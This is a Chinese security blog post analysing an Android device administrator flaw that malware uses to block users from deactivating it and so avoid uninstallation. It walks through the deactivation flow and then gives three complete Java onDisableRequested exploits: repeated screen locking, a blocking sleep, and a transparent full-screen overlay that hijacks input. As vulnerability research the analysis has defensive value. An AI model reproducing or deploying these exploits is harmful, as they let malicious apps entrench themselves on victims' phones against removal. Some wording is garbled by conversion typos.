Android设备管理器漏洞2--禁止用户取消激活设备管理器

2013年6月，俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A。该木马利用了一个未知的Android设备管理器漏洞（ANDROID-9067882），已激活设备管理器权限的手机木马利用该漏洞，能够在设置程序的设备管理器列表中隐藏，这样用户就无法通过正常途径取消该手机木马的设备管理器权限。从而达到无法卸载的目的。Android4.2版本号以上系统已经修复该漏洞。（漏洞详情：http://blog.csdn.net/androidsecurity/article/details/9124747）

日前。百度安全实验室发现手机木马開始利用还有一新的Android设备管理器漏洞，新的设备管理器漏洞是由于Android系统在取消激活设备管理器流程的设计缺陷引起的。恶意软件利用该设计缺陷。能够阻止用户取消激活设备管理器，进而达到反卸载的目的。

该漏洞存在于Android系统全部版本号。

一、取消激活设备管理器源码分析

Android取消激活设备管理器流程源码：

Android取消激活设备管理器基本流程图：

1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能

为什么第一步就调用该函数呢？通过源码凝视能够看出调用该函数目的是：禁止其他程序在用户取消设备管理器操作过程弹出Dialog，影响用户操作。

stopAppSwitch()源码例如以下图所看到的：

通过代码我们发现该方法的详细实现是：

规定在APP_SWITCH_DELAY_TIME时间内禁止进行Activity切换。

该方法调用后，全部应用的Activity调用请求会被系统放到挂起的请求队列中。

被挂起的Activity调用请求会在APP_SWITCH_DELAY_TIME时间后才会被系统运行。

通过调用stopAppSwitch()方法，系统保证在进入取消设备管理器界面后，5秒内不会进行Activity的切换。

二、漏洞原理分析

通过以上流程我们发现。在第8步设备管理器调用

DevicePolicyManagerService.removeActiveAdmin()取消激活设备管理器之前，DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。

假设onDisableRequested函数返回内容为空的，第8步就会自己主动运行；假设onDisableRequested函数返回内容不能为空。会弹出Dialog显示返回的警示信息。提示用户是否取消激活。用户点击确认后才会运行第8步。

怎样阻止流程运行到第8步呢？

onDisableRequested是唯一在流程第8步之前被调用的函数。为了阻止流程走到第8步，onDisableRequested函数满足下面条件就可以：

1、返回内容不能为空。这样才干够使设备管理器弹出取消激活设备管理器警示信息  Dialog。

2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。

假设做到以上两点，程序就可以成功阻止用户取消激活设备管理器操作。

三、漏洞利用方法

下面提出三种能够利用该流程设计缺陷，成功阻止用户取消设备管理器的方法。

1、通过锁屏方式

[java] view plaincopy

1. @Override
2. public CharSequence onDisableRequested(Context context, Intent intent) {
3. // TODO Auto-generated method stub
4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
6. context.startActivity(intent1);
7. final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
8. dpm.lockNow();
9. new Thread(new Runnable() {
10. @Override
11. public void run() {
12. int i = 0;
13. while(i<70){
14. dpm.lockNow();
15. try {
16. Thread.sleep(100);
17. i++;
18. } catch (InterruptedException e) {
19. e.printStackTrace();
20. }
21. }
22. }
23. }).start();
24. return "This is a onDisableRequested response message";
25. }

2、通过堵塞函数返回方式

[java] view plaincopy

1. @Override
2. public CharSequence onDisableRequested(Context context, Intent intent) {
3. // TODO Auto-generated method stub
4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
6. context.startActivity(intent1);
7. try {
8. Thread.sleep(7000);
9. } catch (InterruptedException e) {
10. e.printStackTrace();
11. }
12. return "This is a onDisableRequested response message";
13. }

3、通过透明窗体劫持方式

[java] view plaincopy

1. @Override
2. public CharSequence onDisableRequested(Context context, Intent intent) {
3. // TODO Auto-generated method stub
4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
6. context.startActivity(intent1);
7. WindowManager.LayoutParams wmParams;
8. final WindowManager mWindowManager;
9. wmParams = new WindowManager.LayoutParams();
10. mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
11. wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
12. wmParams.format = PixelFormat.RGBX_8888;
13. wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
14. wmParams.gravity = Gravity.LEFT | Gravity.TOP;
15. wmParams.alpha = 0;
16. wmParams.x = 0;
17. wmParams.y = 0;
18. wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
19. wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;
20. final View contentView = new Button(context);
21. mWindowManager.addView(contentView, wmParams);
22. new Thread(new Runnable() {
23. @Override
24. public void run() {
25. try {
26. Thread.sleep(7000);
27. } catch (InterruptedException e) {
28. // TODO Auto-generated catch block
29. e.printStackTrace();
30. }
31. mWindowManager.removeView(contentView);
32. }
33. }).start();
34. return "This is a onDisableRequested response message";
35. }

以上方法都会在onDisableRequested中，採用不同模式使用户能够5无法操作秒内接口。因为5秒Activity系统切换请求将被执行。

版权声明：本文博客原创文章，博客，未经同意，不得转载。